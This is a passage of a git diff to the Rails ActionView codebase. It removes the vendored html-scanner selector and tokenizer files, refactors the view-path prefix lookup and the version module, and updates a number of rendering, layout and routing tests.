-          # Match the beginning of the attribute value
-          Regexp.new("^#{regexp}")
-        when "$="
-          # Match the end of the attribute value
-          Regexp.new("#{regexp}$")
-        when "*="
-          # Match substring of the attribute value
-          regexp.is_a?(Regexp) ? regexp : Regexp.new(regexp)
-        when "|=" then
-          # Match the first space-separated item of the attribute value
-          Regexp.new("^#{regexp}($|\s)")
-        else
-          raise InvalidSelectorError, "Invalid operation/value" unless value.empty?
-          # Match all attributes values (existence check)
-          //
-      end
-    end
-
-
-    # Returns a lambda that can match an element against the nth-child
-    # pseudo class, given the following arguments:
-    # * +a+ -- Value of a part.
-    # * +b+ -- Value of b part.
-    # * +of_type+ -- True to test only elements of this type (of-type).
-    # * +reverse+ -- True to count in reverse order (last-).
-    def nth_child(a, b, of_type, reverse)
-      # a = 0 means select at index b, if b = 0 nothing selected
-      return lambda { |element| false } if a == 0 && b == 0
-      # a < 0 and b < 0 will never match against an index
-      return lambda { |element| false } if a < 0 && b < 0
-      b = a + b + 1 if b < 0   # b < 0 just picks last element from each group
-      b -= 1 unless b == 0  # b == 0 is same as b == 1, otherwise zero based
-      lambda do |element|
-        # Element must be inside parent element.
-        return false unless element.parent && element.parent.tag?
-        index = 0
-        # Get siblings, reverse if counting from last.
-        siblings = element.parent.children
-        siblings = siblings.reverse if reverse
-        # Match element name if of-type, otherwise ignore name.
-        name = of_type ? element.name : nil
-        found = false
-        for child in siblings
-          # Skip text nodes/comments.
-          if child.tag? && (name == nil || child.name == name)
-            if a == 0
-              # Shortcut when a == 0 no need to go past count
-              if index == b
-                found = child.equal?(element)
-                break
-              end
-            elsif a < 0
-              # Only look for first b elements
-              break if index > b
-              if child.equal?(element)
-                found = (index % a) == 0
-                break
-              end
-            else
-              # Otherwise, break if child found and count ==  an+b
-              if child.equal?(element)
-                found = (index % a) == b
-                break
-              end
-            end
-            index += 1
-          end
-        end
-        found
-      end
-    end
-
-
-    # Creates a only child lambda. Pass +of-type+ to only look at
-    # elements of its type.
-    def only_child(of_type)
-      lambda do |element|
-        # Element must be inside parent element.
-        return false unless element.parent && element.parent.tag?
-        name = of_type ? element.name : nil
-        other = false
-        for child in element.parent.children
-          # Skip text nodes/comments.
-          if child.tag? && (name == nil || child.name == name)
-            unless child.equal?(element)
-              other = true
-              break
-            end
-          end
-        end
-        !other
-      end
-    end
-
-
-    # Called to create a dependent selector (sibling, descendant, etc).
-    # Passes the remainder of the statement that will be reduced to zero
-    # eventually, and array of substitution values.
-    #
-    # This method is called from four places, so it helps to put it here
-    # for reuse. The only logic deals with the need to detect comma
-    # separators (alternate) and apply them to the selector group of the
-    # top selector.
-    def next_selector(statement, values)
-      second = Selector.new(statement, values)
-      # If there are alternate selectors, we group them in the top selector.
-      if alternates = second.instance_variable_get(:@alternates)
-        second.instance_variable_set(:@alternates, [])
-        @alternates.concat alternates
-      end
-      second
-    end
-
-  end
-
-
-  # See HTML::Selector.new
-  def self.selector(statement, *values)
-    Selector.new(statement, *values)
-  end
-
-
-  class Tag
-
-    def select(selector, *values)
-      selector = HTML::Selector.new(selector, values)
-      selector.select(self)
-    end
-
-  end
-
-end
diff --git a/actionview/lib/action_view/vendor/html-scanner/html/tokenizer.rb b/actionview/lib/action_view/vendor/html-scanner/html/tokenizer.rb
deleted file mode 100644
index 8ac8d34430..0000000000
--- a/actionview/lib/action_view/vendor/html-scanner/html/tokenizer.rb
+++ /dev/null
@@ -1,107 +0,0 @@
-require 'strscan'
-
-module HTML #:nodoc:
-
-  # A simple HTML tokenizer. It simply breaks a stream of text into tokens, where each
-  # token is a string. Each string represents either "text", or an HTML element.
-  #
-  # This currently assumes valid XHTML, which means no free < or > characters.
-  #
-  # Usage:
-  #
-  #   tokenizer = HTML::Tokenizer.new(text)
-  #   while token = tokenizer.next
-  #     p token
-  #   end
-  class Tokenizer #:nodoc:
-
-    # The current (byte) position in the text
-    attr_reader :position
-
-    # The current line number
-    attr_reader :line
-
-    # Create a new Tokenizer for the given text.
-    def initialize(text)
-      text.encode!
-      @scanner = StringScanner.new(text)
-      @position = 0
-      @line = 0
-      @current_line = 1
-    end
-
-    # Return the next token in the sequence, or +nil+ if there are no more tokens in
-    # the stream.
-    def next
-      return nil if @scanner.eos?
-      @position = @scanner.pos
-      @line = @current_line
-      if @scanner.check(/<\S/)
-        update_current_line(scan_tag)
-      else
-        update_current_line(scan_text)
-      end
-    end
-
-    private
-
-      # Treat the text at the current position as a tag, and scan it. Supports
-      # comments, doctype tags, and regular tags, and ignores less-than and
-      # greater-than characters within quoted strings.
-      def scan_tag
-        tag = @scanner.getch
-        if @scanner.scan(/!--/) # comment
-          tag << @scanner.matched
-          tag << (@scanner.scan_until(/--\s*>/) || @scanner.scan_until(/\Z/))
-        elsif @scanner.scan(/!\[CDATA\[/)
-          tag << @scanner.matched
-          tag << (@scanner.scan_until(/\]\]>/) || @scanner.scan_until(/\Z/))
-        elsif @scanner.scan(/!/) # doctype
-          tag << @scanner.matched
-          tag << consume_quoted_regions
-        else
-          tag << consume_quoted_regions
-        end
-        tag
-      end
-
-      # Scan all text up to the next < character and return it.
-      def scan_text
-        "#{@scanner.getch}#{@scanner.scan(/[^<]*/)}"
-      end
-
-      # Counts the number of newlines in the text and updates the current line
-      # accordingly.
-      def update_current_line(text)
-        text.scan(/\r?\n/) { @current_line += 1 }
-      end
-
-      # Skips over quoted strings, so that less-than and greater-than characters
-      # within the strings are ignored.
-      def consume_quoted_regions
-        text = ""
-        loop do
-          match = @scanner.scan_until(/['"<>]/) or break
-
-          delim = @scanner.matched
-          if delim == "<"
-            match = match.chop
-            @scanner.pos -= 1
-          end
-
-          text << match
-          break if delim == "<" || delim == ">"
-
-          # consume the quoted region
-          while match = @scanner.scan_until(/[\\#{delim}]/)
-            text << match
-            break if @scanner.matched == delim
-            break if @scanner.eos?
-            text << @scanner.getch # skip the escaped character
-          end
-        end
-        text
-      end
-  end
-
-end
diff --git a/actionview/lib/action_view/vendor/html-scanner/html/version.rb b/actionview/lib/action_view/vendor/html-scanner/html/version.rb
deleted file mode 100644
index 6d645c3e14..0000000000
--- a/actionview/lib/action_view/vendor/html-scanner/html/version.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-module HTML #:nodoc:
-  module Version #:nodoc:
-
-    MAJOR = 0
-    MINOR = 5
-    TINY  = 3
-
-    STRING = [ MAJOR, MINOR, TINY ].join(".")
-
-  end
-end
diff --git a/actionview/lib/action_view/version.rb b/actionview/lib/action_view/version.rb
index 094dd474df..f55d3fdaef 100644
--- a/actionview/lib/action_view/version.rb
+++ b/actionview/lib/action_view/version.rb
@@ -1,11 +1,8 @@
+require_relative 'gem_version'
+
 module ActionView
-  # Returns the version of the currently loaded ActionView as a Gem::Version
+  # Returns the version of the currently loaded ActionView as a <tt>Gem::Version</tt>
   def self.version
-    Gem::Version.new "4.1.0.beta"
-  end
-
-  module VERSION #:nodoc:
-    MAJOR, MINOR, TINY, PRE = ActionView.version.segments
-    STRING = ActionView.version.to_s
+    gem_version
   end
 end
diff --git a/actionview/lib/action_view/view_paths.rb b/actionview/lib/action_view/view_paths.rb
index 6c349feb1d..492f67f45d 100644
--- a/actionview/lib/action_view/view_paths.rb
+++ b/actionview/lib/action_view/view_paths.rb
@@ -14,27 +14,26 @@ module ActionView
              :locale, :locale=, :to => :lookup_context
 
     module ClassMethods
-      def parent_prefixes
-        @parent_prefixes ||= begin
-          parent_controller = superclass
-          prefixes = []
+      def _prefixes # :nodoc:
+        @_prefixes ||= begin
+          return local_prefixes if superclass.abstract?
 
-          until parent_controller.abstract?
-            prefixes << parent_controller.controller_path
-            parent_controller = parent_controller.superclass
-          end
-
-          prefixes
+          local_prefixes + superclass._prefixes
         end
       end
+
+      private
+
+      # Override this method in your controller if you want to change paths prefixes for finding views.
+      # Prefixes defined here will still be added to parents' <tt>._prefixes</tt>.
+      def local_prefixes
+        [controller_path]
+      end
     end
 
     # The prefixes used in render "foo" shortcuts.
-    def _prefixes
-      @_prefixes ||= begin
-        parent_prefixes = self.class.parent_prefixes
-        parent_prefixes.dup.unshift(controller_path)
-      end
+    def _prefixes # :nodoc:
+      self.class._prefixes
     end
 
     # LookupContext is the object responsible to hold all information required to lookup
diff --git a/actionview/test/abstract_unit.rb b/actionview/test/abstract_unit.rb
index 6623b47e83..fc1ca9efdf 100644
--- a/actionview/test/abstract_unit.rb
+++ b/actionview/test/abstract_unit.rb
@@ -16,11 +16,9 @@ silence_warnings do
 end
 
 require 'active_support/testing/autorun'
-require 'abstract_controller'
 require 'action_controller'
 require 'action_view'
 require 'action_view/testing/resolvers'
-require 'action_dispatch'
 require 'active_support/dependencies'
 require 'active_model'
 require 'active_record'
@@ -42,10 +40,13 @@ Thread.abort_on_exception = true
 # Show backtraces for deprecated behavior for quicker cleanup.
 ActiveSupport::Deprecation.debug = true
 
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
 # Register danish language for testing
 I18n.backend.store_translations 'da', {}
 I18n.backend.store_translations 'pt-BR', {}
-ORIGINAL_LOCALES = I18n.available_locales.map {|locale| locale.to_s }.sort
+ORIGINAL_LOCALES = I18n.available_locales.map(&:to_s).sort
 
 FIXTURE_LOAD_PATH = File.join(File.dirname(__FILE__), 'fixtures')
 FIXTURES = Pathname.new(FIXTURE_LOAD_PATH)
@@ -267,13 +268,10 @@ class Rack::TestCase < ActionDispatch::IntegrationTest
   end
 end
 
-# Emulate AV railtie.
-ActionController::Base.superclass.send(:include, ActionView::Layouts)
-ActionView::RoutingUrlFor.send(:include, ActionDispatch::Routing::UrlFor)
+ActionView::RoutingUrlFor.include(ActionDispatch::Routing::UrlFor)
 
 module ActionController
   class Base
-    include ActionController::Testing
     # This stub emulates the Railtie including the URL helpers from a Rails application
     include SharedTestRoutes.url_helpers
     include SharedTestRoutes.mounted_helpers
@@ -330,3 +328,18 @@ module ActionDispatch
   end
 end
 
+# Skips the current run on Rubinius using Minitest::Assertions#skip
+def rubinius_skip(message = '')
+  skip message if RUBY_ENGINE == 'rbx'
+end
+# Skips the current run on JRuby using Minitest::Assertions#skip
+def jruby_skip(message = '')
+  skip message if defined?(JRUBY_VERSION)
+end
+
+require 'mocha/setup' # FIXME: stop using mocha
+
+# FIXME: we have tests that depend on run order, we should fix that and
+# remove this method call.
+require 'active_support/test_case'
+ActiveSupport::TestCase.test_order = :sorted
diff --git a/actionview/test/actionpack/abstract/abstract_controller_test.rb b/actionview/test/actionpack/abstract/abstract_controller_test.rb
index 40d3b17131..490932fef0 100644
--- a/actionview/test/actionpack/abstract/abstract_controller_test.rb
+++ b/actionview/test/actionpack/abstract/abstract_controller_test.rb
@@ -150,6 +150,38 @@ module AbstractController
       end
     end
 
+    class OverridingLocalPrefixes < AbstractController::Base
+      include AbstractController::Rendering
+      include ActionView::Rendering
+      append_view_path File.expand_path(File.join(File.dirname(__FILE__), "views"))
+
+      def index
+        render
+      end
+
+      def self.local_prefixes
+        # this would usually return "abstract_controller/testing/overriding_local_prefixes"
+        super + ["abstract_controller/testing/me3"]
+      end
+
+      class Inheriting < self
+      end
+    end
+
+    class OverridingLocalPrefixesTest < ActiveSupport::TestCase
+      test "overriding .local_prefixes adds prefix" do
+        @controller = OverridingLocalPrefixes.new
+        @controller.process(:index)
+        assert_equal "Hello from me3/index.erb", @controller.response_body
+      end
+
+      test ".local_prefixes is inherited" do
+        @controller = OverridingLocalPrefixes::Inheriting.new
+        @controller.process(:index)
+        assert_equal "Hello from me3/index.erb", @controller.response_body
+      end
+    end
+
     # Test rendering with layouts
     # ====
     # self._layout is used when defined
diff --git a/actionview/test/actionpack/abstract/helper_test.rb b/actionview/test/actionpack/abstract/helper_test.rb
index 4e05245584..7d346e917d 100644
--- a/actionview/test/actionpack/abstract/helper_test.rb
+++ b/actionview/test/actionpack/abstract/helper_test.rb
@@ -52,7 +52,7 @@ module AbstractController
     class AbstractInvalidHelpers < AbstractHelpers
       include ActionController::Helpers
 
-      path = File.join(File.expand_path('../../../fixtures', __FILE__), "helpers_missing")
+      path = File.expand_path('../../../fixtures/helpers_missing', __FILE__)
       $:.unshift(path)
       self.helpers_path = path
     end
@@ -78,9 +78,9 @@ module AbstractController
       end
 
       def test_declare_missing_helper
-        AbstractHelpers.helper :missing
-        flunk "should have raised an exception"
-      rescue LoadError => e
+        e = assert_raise AbstractController::Helpers::MissingHelperError do
+          AbstractHelpers.helper :missing
+        end
         assert_equal "helpers/missing_helper.rb", e.path
       end
 
diff --git a/actionview/test/actionpack/abstract/layouts_test.rb b/actionview/test/actionpack/abstract/layouts_test.rb
index c79cb50fd7..a6786d9b6b 100644
--- a/actionview/test/actionpack/abstract/layouts_test.rb
+++ b/actionview/test/actionpack/abstract/layouts_test.rb
@@ -214,19 +214,19 @@ module AbstractControllerTests
         assert_equal "With String Hello string!", controller.response_body
       end
 
-      test "when layout is overwriten by :default in render, render default layout" do
+      test "when layout is overwritten by :default in render, render default layout" do
         controller = WithString.new
         controller.process(:overwrite_default)
         assert_equal "With String Hello string!", controller.response_body
       end
 
-      test "when layout is overwriten by string in render, render new layout" do
+      test "when layout is overwritten by string in render, render new layout" do
         controller = WithString.new
         controller.process(:overwrite_string)
         assert_equal "Overwrite Hello string!", controller.response_body
       end
 
-      test "when layout is overwriten by false in render, render no layout" do
+      test "when layout is overwritten by false in render, render no layout" do
         controller = WithString.new
         controller.process(:overwrite_false)
         assert_equal "Hello string!", controller.response_body
@@ -264,7 +264,7 @@ module AbstractControllerTests
         assert_equal "Overwrite Hello proc!", controller.response_body
       end
 
-      test "when layout is specified as a proc and the proc retuns nil, don't use a layout" do
+      test "when layout is specified as a proc and the proc returns nil, don't use a layout" do
         controller = WithProcReturningNil.new
         controller.process(:index)
         assert_equal "Hello nil!", controller.response_body
diff --git a/actionview/test/actionpack/abstract/render_test.rb b/actionview/test/actionpack/abstract/render_test.rb
index f9d8c916d9..d09f91c1e2 100644
--- a/actionview/test/actionpack/abstract/render_test.rb
+++ b/actionview/test/actionpack/abstract/render_test.rb
@@ -60,42 +60,42 @@ module AbstractController
       end
 
       def test_render_template
-        @controller.process(:template)
+        assert_equal "With Template", @controller.process(:template)
         assert_equal "With Template", @controller.response_body
       end
 
       def test_render_file
-        @controller.process(:file)
+        assert_equal "With File", @controller.process(:file)
         assert_equal "With File", @controller.response_body
       end
 
       def test_render_inline
-        @controller.process(:inline)
+        assert_equal "With Inline", @controller.process(:inline)
         assert_equal "With Inline", @controller.response_body
       end
 
       def test_render_text
-        @controller.process(:text)
+        assert_equal "With Text", @controller.process(:text)
         assert_equal "With Text", @controller.response_body
       end
 
       def test_render_default
-        @controller.process(:default)
+        assert_equal "With Default", @controller.process(:default)
         assert_equal "With Default", @controller.response_body
       end
 
       def test_render_string
-        @controller.process(:string)
+        assert_equal "With String", @controller.process(:string)
         assert_equal "With String", @controller.response_body
       end
 
       def test_render_symbol
-        @controller.process(:symbol)
+        assert_equal "With Symbol", @controller.process(:symbol)
         assert_equal "With Symbol", @controller.response_body
       end
 
       def test_render_string_with_path
-        @controller.process(:string_with_path)
+        assert_equal "With String With Path", @controller.process(:string_with_path)
         assert_equal "With String With Path", @controller.response_body
       end
     end
diff --git a/actionview/test/actionpack/controller/layout_test.rb b/actionview/test/actionpack/controller/layout_test.rb
index 5dd23c4b31..7b8a83e2fe 100644
--- a/actionview/test/actionpack/controller/layout_test.rb
+++ b/actionview/test/actionpack/controller/layout_test.rb
@@ -1,14 +1,10 @@
 require 'abstract_unit'
-require 'rbconfig'
 require 'active_support/core_ext/array/extract_options'
 
 # The view_paths array must be set on Base and not LayoutTest so that LayoutTest's inherited
 # method has access to the view_paths array when looking for a layout to automatically assign.
 old_load_paths = ActionController::Base.view_paths
 
-ActionView::Template::register_template_handler :mab,
-  lambda { |template| template.source.inspect }
-
 ActionController::Base.view_paths = [ File.dirname(__FILE__) + '/../../fixtures/actionpack/layout_tests/' ]
 
 class LayoutTest < ActionController::Base
@@ -17,6 +13,15 @@ class LayoutTest < ActionController::Base
   self.view_paths = ActionController::Base.view_paths.dup
 end
 
+module TemplateHandlerHelper
+  def with_template_handler(*extensions, handler)
+    ActionView::Template.register_template_handler(*extensions, handler)
+    yield
+  ensure
+    ActionView::Template.unregister_template_handler(*extensions)
+  end
+end
+
 # Restore view_paths to previous value
 ActionController::Base.view_paths = old_load_paths
 
@@ -39,6 +44,8 @@ class MultipleExtensions < LayoutTest
 end
 
 class LayoutAutoDiscoveryTest < ActionController::TestCase
+  include TemplateHandlerHelper
+
   def setup
     super
     @request.host = "www.nextangle.com"
@@ -57,10 +64,12 @@ class LayoutAutoDiscoveryTest < ActionController::TestCase
   end
 
   def test_third_party_template_library_auto_discovers_layout
-    @controller = ThirdPartyTemplateLibraryController.new
-    get :hello
-    assert_response :success
-    assert_equal 'layouts/third_party_template_library.mab', @response.body
+    with_template_handler :mab, lambda { |template| template.source.inspect } do
+      @controller = ThirdPartyTemplateLibraryController.new
+      get :hello
+      assert_response :success
+      assert_equal 'layouts/third_party_template_library.mab', @response.body
+    end
   end
 
   def test_namespaced_controllers_auto_detect_layouts1
@@ -135,6 +144,7 @@ end
 
 class LayoutSetInResponseTest < ActionController::TestCase
   include ActionView::Template::Handlers
+  include TemplateHandlerHelper
 
   def test_layout_set_when_using_default_layout
     @controller = DefaultLayoutController.new
@@ -191,9 +201,11 @@ class LayoutSetInResponseTest < ActionController::TestCase
   end
 
   def test_layout_set_when_using_render
-    @controller = SetsLayoutInRenderController.new
-    get :hello
-    assert_template :layout => "layouts/third_party_template_library"
+    with_template_handler :mab, lambda { |template| template.source.inspect } do
+      @controller = SetsLayoutInRenderController.new
+      get :hello
+      assert_template :layout => "layouts/third_party_template_library"
+    end
   end
 
   def test_layout_is_not_set_when_none_rendered
@@ -215,12 +227,6 @@ class LayoutSetInResponseTest < ActionController::TestCase
   end
 end
 
-class RenderWithTemplateOptionController < LayoutTest
-  def hello
-    render :template => 'alt/hello'
-  end
-end
-
 class SetsNonExistentLayoutFile < LayoutTest
   layout "nofile"
 end
diff --git a/actionview/test/actionpack/controller/render_test.rb b/actionview/test/actionpack/controller/render_test.rb
index 964dccbffb..fe4cf3688a 100644
--- a/actionview/test/actionpack/controller/render_test.rb
+++ b/actionview/test/actionpack/controller/render_test.rb
@@ -44,8 +44,6 @@ module Quiz
     end
   end
 
-  class Store < Question; end
-
   # Controller
   class QuestionsController < ApplicationController
     def new
@@ -93,17 +91,17 @@ class TestController < ApplicationController
 
   # :ported:
   def render_hello_world
-    render :template => "test/hello_world"
+    render "test/hello_world"
   end
 
   def render_hello_world_with_last_modified_set
     response.last_modified = Date.new(2008, 10, 10).to_time
-    render :template => "test/hello_world"
+    render "test/hello_world"
   end
 
   # :ported: compatibility
   def render_hello_world_with_forward_slash
-    render :template => "/test/hello_world"
+    render "/test/hello_world"
   end
 
   # :ported:
@@ -113,7 +111,7 @@ class TestController < ApplicationController
 
   # :deprecated:
   def render_template_in_top_directory_with_slash
-    render :template => '/shared'
+    render '/shared'
   end
 
   # :ported:
@@ -162,13 +160,6 @@ class TestController < ApplicationController
   end
 
   # :ported:
-  def render_file_as_string_with_instance_variables
-    @secret = 'in the sauce'
-    path = File.expand_path(File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_ivar'))
-    render path
-  end
-
-  # :ported:
   def render_file_not_using_full_path
     @secret = 'in the sauce'
     render :file => 'test/render_file_with_ivar'
@@ -196,7 +187,7 @@ class TestController < ApplicationController
 
   def render_file_as_string_with_locals
     path = File.expand_path(File.join(File.dirname(__FILE__), '../../fixtures/test/render_file_with_locals'))
-    render path, :locals => {:secret => 'in the sauce'}
+    render file: path, :locals => {:secret => 'in the sauce'}
   end
 
   def accessing_request_in_template
@@ -462,6 +453,10 @@ class TestController < ApplicationController
     render :text => "foo"
   end
 
+  def render_with_assigns_option
+    render inline: '<%= @hello %>', assigns: { hello: "world" }
+  end
+
   def yield_content_for
     render :action => "content_for", :layout => "yield"
   end
@@ -538,6 +533,14 @@ class TestController < ApplicationController
     render :partial => "customer_with_var", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :customer
   end
 
+  def partial_collection_with_iteration
+    render partial: "customer_iteration", collection: [ Customer.new("david"), Customer.new("mary"), Customer.new('christine') ]
+  end
+
+  def partial_collection_with_as_and_iteration
+    render partial: "customer_iteration_with_as", collection: [ Customer.new("david"), Customer.new("mary"), Customer.new('christine') ], as: :client
+  end
+
   def partial_collection_with_counter
     render :partial => "customer_counter", :collection => [ Customer.new("david"), Customer.new("mary") ]
   end
@@ -693,9 +696,9 @@ class RenderTest < ActionController::TestCase
   end
 
   def test_line_offset
-    get :render_line_offset
-    flunk "the action should have raised an exception"
-  rescue StandardError => exc
+    exc = assert_raises ActionView::Template::Error do
+      get :render_line_offset
+    end
     line = exc.backtrace.first
     assert(line =~ %r{:(\d+):})
     assert_equal "1", $1,
@@ -722,6 +725,11 @@ class RenderTest < ActionController::TestCase
     assert_equal "Elastica", @response.body
   end
 
+  def test_render_process
+    get :render_action_hello_world_as_string
+    assert_equal ["Hello world!"], @controller.process(:render_action_hello_world_as_string)
+  end
+
   # :ported:
   def test_render_from_variable
     get :render_hello_world_from_variable
@@ -783,12 +791,6 @@ class RenderTest < ActionController::TestCase
   end
 
   # :ported:
-  def test_render_file_as_string_with_instance_variables
-    get :render_file_as_string_with_instance_variables
-    assert_equal "The secret is in the sauce\n", @response.body
-  end
-
-  # :ported:
   def test_render_file_not_using_full_path
     get :render_file_not_using_full_path
     assert_equal "The secret is in the sauce\n", @response.body
@@ -836,7 +838,7 @@ class RenderTest < ActionController::TestCase
   def test_render_text_with_nil
     get :render_text_with_nil
     assert_response 200
-    assert_equal ' ', @response.body
+    assert_equal '', @response.body
   end
 
   # :ported:
@@ -955,23 +957,23 @@ class RenderTest < ActionController::TestCase
   end
 
   def test_accessing_params_in_template
-    get :accessing_params_in_template, :name => "David"
+    get :accessing_params_in_template, params: { name: "David" }
     assert_equal "Hello: David", @response.body
   end
 
   def test_accessing_local_assigns_in_inline_template
-    get :accessing_local_assigns_in_inline_template, :local_name => "Local David"
+    get :accessing_local_assigns_in_inline_template, params: { local_name: "Local David" }
     assert_equal "Goodbye, Local David", @response.body
     assert_equal "text/html", @response.content_type
   end
 
   def test_should_implicitly_render_html_template_from_xhr_request
-    xhr :get, :render_implicit_html_template_from_xhr_request
+    get :render_implicit_html_template_from_xhr_request, xhr: true
     assert_equal "XHR!\nHello HTML!", @response.body
   end
 
   def test_should_implicitly_render_js_template_without_layout
-    get :render_implicit_js_template_without_layout, :format => :js
+    get :render_implicit_js_template_without_layout, format: :js, xhr: true
     assert_no_match %r{<html>}, @response.body
   end
 
@@ -992,7 +994,7 @@ class RenderTest < ActionController::TestCase
   end
 
   def test_should_render_formatted_html_erb_template_with_faulty_accepts_header
-    @request.accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appliction/x-shockwave-flash, */*"
+    @request.accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*"
     get :formatted_xml_erb
     assert_equal '<test>passed formatted html erb</test>', @response.body
   end
@@ -1024,7 +1026,7 @@ class RenderTest < ActionController::TestCase
 
   def test_rendering_nothing_on_layout
     get :rendering_nothing_on_layout
-    assert_equal " ", @response.body
+    assert_equal '', @response.body
   end
 
   def test_render_to_string_doesnt_break_assigns
@@ -1044,7 +1046,7 @@ class RenderTest < ActionController::TestCase
   end
 
   def test_accessing_params_in_template_with_layout
-    get :accessing_params_in_template_with_layout, :name => "David"
+    get :accessing_params_in_template_with_layout, params: { name: "David" }
     assert_equal "<html>Hello: David</html>", @response.body
   end
 
@@ -1104,6 +1106,11 @@ class RenderTest < ActionController::TestCase
     assert_equal "world", assigns["hello"]
   end
 
+  def test_render_text_with_assigns_option
+    get :render_with_assigns_option
+    assert_equal 'world', response.body
+  end
+
   # :ported:
   def test_template_with_locals
     get :render_with_explicit_template_with_locals
@@ -1234,6 +1241,16 @@ class RenderTest < ActionController::TestCase
     assert_equal "david david davidmary mary mary", @response.body
   end
 
+  def test_partial_collection_with_iteration
+    get :partial_collection_with_iteration
+    assert_equal "3-0: david-first3-1: mary3-2: christine-last", @response.body
+  end
+
+  def test_partial_collection_with_as_and_iteration
+    get :partial_collection_with_as_and_iteration
+    assert_equal "3-0: david-first3-1: mary3-2: christine-last", @response.body
+  end
+
   def test_partial_collection_with_counter
     get :partial_collection_with_counter
     assert_equal "david0mary1", @response.body
@@ -1334,4 +1351,3 @@ class RenderTest < ActionController::TestCase
     assert_equal "Before (Anthony)\nInside from partial (Anthony)\nAfter\nBefore (David)\nInside from partial (David)\nAfter\nBefore (Ramm)\nInside from partial (Ramm)\nAfter", @response.body
   end
 end
-
diff --git a/actionview/test/lib/controller/view_paths_test.rb b/actionview/test/actionpack/controller/view_paths_test.rb
index c6e7a523b9..7fba9ff8ff 100644
--- a/actionview/test/lib/controller/view_paths_test.rb
+++ b/actionview/test/actionpack/controller/view_paths_test.rb
@@ -39,7 +39,7 @@ class ViewLoadPathsTest < ActionController::TestCase
 
   def assert_paths(*paths)
     controller = paths.first.is_a?(Class) ? paths.shift : @controller
-    assert_equal expand(paths), controller.view_paths.map { |p| p.to_s }
+    assert_equal expand(paths), controller.view_paths.map(&:to_s)
   end
 
   def test_template_load_path_was_set_correctly
diff --git a/actionview/test/active_record_unit.rb b/actionview/test/active_record_unit.rb
index 95fbb112c0..cca55c9af4 100644
--- a/actionview/test/active_record_unit.rb
+++ b/actionview/test/active_record_unit.rb
@@ -57,7 +57,7 @@ class ActiveRecordTestConnector
         end
       end
 
-      # Load actionpack sqlite tables
+      # Load actionpack sqlite3 tables
       def load_schema
         File.read(File.dirname(__FILE__) + "/fixtures/db_definitions/sqlite.sql").split(';').each do |sql|
           ActiveRecord::Base.connection.execute(sql) unless sql.blank?
diff --git a/actionview/test/activerecord/controller_runtime_test.rb b/actionview/test/activerecord/controller_runtime_test.rb
index 368bec1c70..af91348d76 100644
--- a/actionview/test/activerecord/controller_runtime_test.rb
+++ b/actionview/test/activerecord/controller_runtime_test.rb
@@ -4,12 +4,10 @@ require 'fixtures/project'
 require 'active_support/log_subscriber/test_helper'
 require 'action_controller/log_subscriber'
 
-ActionController::Base.send :include, ActiveRecord::Railties::ControllerRuntime
+ActionController::Base.include(ActiveRecord::Railties::ControllerRuntime)
 
 class ControllerRuntimeLogSubscriberTest < ActionController::TestCase
   class LogSubscriberController < ActionController::Base
-    respond_to :html
-
     def show
       render :inline => "<%= Project.all %>"
     end
@@ -20,8 +18,8 @@ class ControllerRuntimeLogSubscriberTest < ActionController::TestCase
 
     def create
       ActiveRecord::LogSubscriber.runtime += 100
-      project = Project.last
-      respond_with(project, location: url_for(action: :show))
+      Project.last
+      redirect_to "/"
     end
 
     def redirect
diff --git a/actionview/test/template/debug_helper_test.rb b/actionview/test/activerecord/debug_helper_test.rb
index 42d06bd9ff..5609694cd5 100644
--- a/actionview/test/template/debug_helper_test.rb
+++ b/actionview/test/activerecord/debug_helper_test.rb
@@ -3,6 +3,6 @@ require 'active_record_unit'
 class DebugHelperTest < ActionView::TestCase
   def test_debug
     company = Company.new(name: "firebase")
-    assert_match "&nbsp; name: firebase", debug(company)
+    assert_match "name: firebase", debug(company)
   end
 end
diff --git a/actionview/test/activerecord/form_helper_activerecord_test.rb b/actionview/test/activerecord/form_helper_activerecord_test.rb
index 2e302c65a7..0a62f49f35 100644
--- a/actionview/test/activerecord/form_helper_activerecord_test.rb
+++ b/actionview/test/activerecord/form_helper_activerecord_test.rb
@@ -59,12 +59,13 @@ class FormHelperActiveRecordTest < ActionView::TestCase
   protected
 
   def hidden_fields(method = nil)
-    txt =  %{<div style="margin:0;padding:0;display:inline">}
-    txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
+    txt = %{<input name="utf8" type="hidden" value="&#x2713;" />}
+
     if method && !%w(get post).include?(method.to_s)
       txt << %{<input name="_method" type="hidden" value="#{method}" />}
     end
-    txt << %{</div>}
+
+    txt
   end
 
   def form_text(action = "/", id = nil, html_class = nil, remote = nil, multipart = nil, method = nil)
@@ -88,4 +89,4 @@ class FormHelperActiveRecordTest < ActionView::TestCase
 
     form_text(action, id, html_class, remote, multipart, method) + hidden_fields(method) + contents + "</form>"
   end
-end
\ No newline at end of file
+end
diff --git a/actionview/test/activerecord/polymorphic_routes_test.rb b/actionview/test/activerecord/polymorphic_routes_test.rb
index afb714484b..8e1ed2776d 100644
--- a/actionview/test/activerecord/polymorphic_routes_test.rb
+++ b/actionview/test/activerecord/polymorphic_routes_test.rb
@@ -25,17 +25,19 @@ class Series < ActiveRecord::Base
   self.table_name = 'projects'
 end
 
-class ModelDelegator < ActiveRecord::Base
-  self.table_name = 'projects'
-
+class ModelDelegator
   def to_model
     ModelDelegate.new
   end
 end
 
 class ModelDelegate
-  def self.model_name
-    ActiveModel::Name.new(self)
+  def persisted?
+    true
+  end
+
+  def model_name
+    ActiveModel::Name.new(self.class)
   end
 
   def to_param
@@ -74,25 +76,77 @@ class PolymorphicRoutesTest < ActionController::TestCase
     @blog_blog = Blog::Blog.new
   end
 
+  def assert_url(url, args)
+    host = self.class.default_url_options[:host]
+
+    assert_equal url.sub(/http:\/\/#{host}/, ''), polymorphic_path(args)
+    assert_equal url, polymorphic_url(args)
+    assert_equal url, url_for(args)
+  end
+
+  def test_string
+    with_test_routes do
+      # FIXME: why are these different? Symbol case passes through to
+      # `polymorphic_url`, but the String case doesn't.
+      assert_equal "http://example.com/projects", polymorphic_url("projects")
+      assert_equal "projects", url_for("projects")
+    end
+  end
+
+  def test_string_with_options
+    with_test_routes do
+      assert_equal "http://example.com/projects?id=10", polymorphic_url("projects", :id => 10)
+    end
+  end
+
+  def test_symbol
